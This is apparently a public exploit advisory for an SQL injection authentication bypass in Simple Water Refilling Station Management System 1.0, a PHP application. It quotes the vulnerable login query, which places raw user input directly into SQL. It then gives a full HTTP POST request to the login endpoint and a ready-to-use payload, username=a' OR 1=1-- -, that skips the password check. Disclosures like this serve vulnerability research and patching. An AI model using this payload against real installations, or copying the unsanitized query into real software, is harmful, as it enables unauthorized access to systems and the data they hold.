Simple Water Refilling Station Management System 1.0 - Authentication Bypass

# Exploit Title: Simple Water Refilling Station Management System 1.0 - Authentication Bypass
# Exploit Author: Matt Sorrell
# Date: 2021-08-14
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14906/simple-water-refilling-station-management-system-php-free-source-code.html
# Version: 1.0
# Tested On: Windows Server 2019 and XAMPP 7.4.22

# The Simple Water Refilling Station Management System 
# is vulnerable to a SQL Injection because it fails to sufficiently sanitize 
# user-supplied data before using it in a SQL query.  Successful exploitation
# of this issue could allow an attacker to bypass the application's
# authentication controls and possibly access other sensitive data.

# Vulnerable Code: Line 21 in water_refilling/classes/Login.php

qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

# Vulnerable Request

POST /water_refilling/classes/Login.php?f=login HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 35
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/water_refilling/admin/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=64v67e3dctju48lon9d8gepct7


username=a&password=a


# Vulnerable Payload
# Parameter: username (POST)

username=a'+OR+1%3D1--+-&password=a